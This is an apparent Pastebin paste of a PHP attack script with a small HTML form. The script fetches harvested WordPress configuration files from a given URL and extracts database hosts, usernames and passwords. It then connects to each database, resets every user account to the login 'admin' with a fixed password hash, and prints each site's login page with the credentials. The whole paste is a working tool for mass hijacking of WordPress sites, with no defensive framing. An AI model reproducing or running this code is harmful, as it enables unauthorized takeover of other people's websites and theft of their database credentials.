Advertisement
Guest User

Untitled

a guest
Mar 21st, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. <form method="post">
  2. <style type="text/css">
  3. input[name=config]{
  4. border:2px dashed black;
  5. outline: none;
  6. background:transparent;
  7. border-radius: 1px;
  8. color: green;
  9. }
  10. input[name=ch]{
  11. border:2px dashed black;
  12. outline: none;
  13. background:transparent;
  14. color: green;
  15. }
  16. </style>
  17. <input type="text" name="config" placeholder="URL">
  18. <input type="submit" name="ch" value="Change">
  19. </form>
  20. <?
  21. set_time_limit(0);
  22. error_reporting(0);
  23. if($_POST['ch']){
  24. $get2 = file_get_contents($_POST['config']);
  25. preg_match_all('#<a href="(.*?)"#', $get2, $config);
  26. foreach($config[1] as $don){
  27. $get = file_get_contents($_POST['config']."/".$don);
  28.  
  29. preg_match_all("#'DB_HOST', '(.*?)'#", $get, $host);
  30. foreach($host[1] as $don){
  31. $host = $don;
  32. }
  33. ###
  34. preg_match_all("#'DB_PASSWORD', '(.*?)'#", $get, $pass);
  35. foreach($pass[1] as $done){
  36. $password = $done;
  37. }
  38. ###
  39. preg_match_all("#'DB_USER', '(.*?)'#", $get, $user);
  40. foreach($user[1] as $done1){
  41. $user = $done1;
  42. }
  43. ###
  44. preg_match_all("#'DB_NAME', '(.*?)'#", $get, $name);
  45. foreach($name[1] as $done2){
  46. $name = $done2;
  47. }
  48. ###
  49. preg_match_all("#$table_prefix = '(.*?)'#", $get, $prefix);
  50. foreach($prefix[1] as $done3){
  51. $prefix = $done3;
  52. }
  53. $connect = mysqli_connect($host,$user,$password,$name);
  54. if($connect){
  55. $query1 = mysqli_query($connect,"select * from ".$prefix."options where option_name='siteurl'");
  56. while($siteurl = mysqli_fetch_array($query1)){
  57. $site_url = $siteurl['option_value'];
  58. }
  59. #####
  60. $query2 = mysqli_query($connect,"update ".$prefix."users set user_login='admin',user_pass='a69b06b9b2901d9f3956c863680a9d7c'");
  61. if($query2){
  62. echo "URL : <a href='$site_url/wp-login.php' target='_blank'>$site_url</a><br><br>UserName : admin<br><br>Password : sadboys<br><br>";
  63. }
  64. }
  65. }
  66. }
  67. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement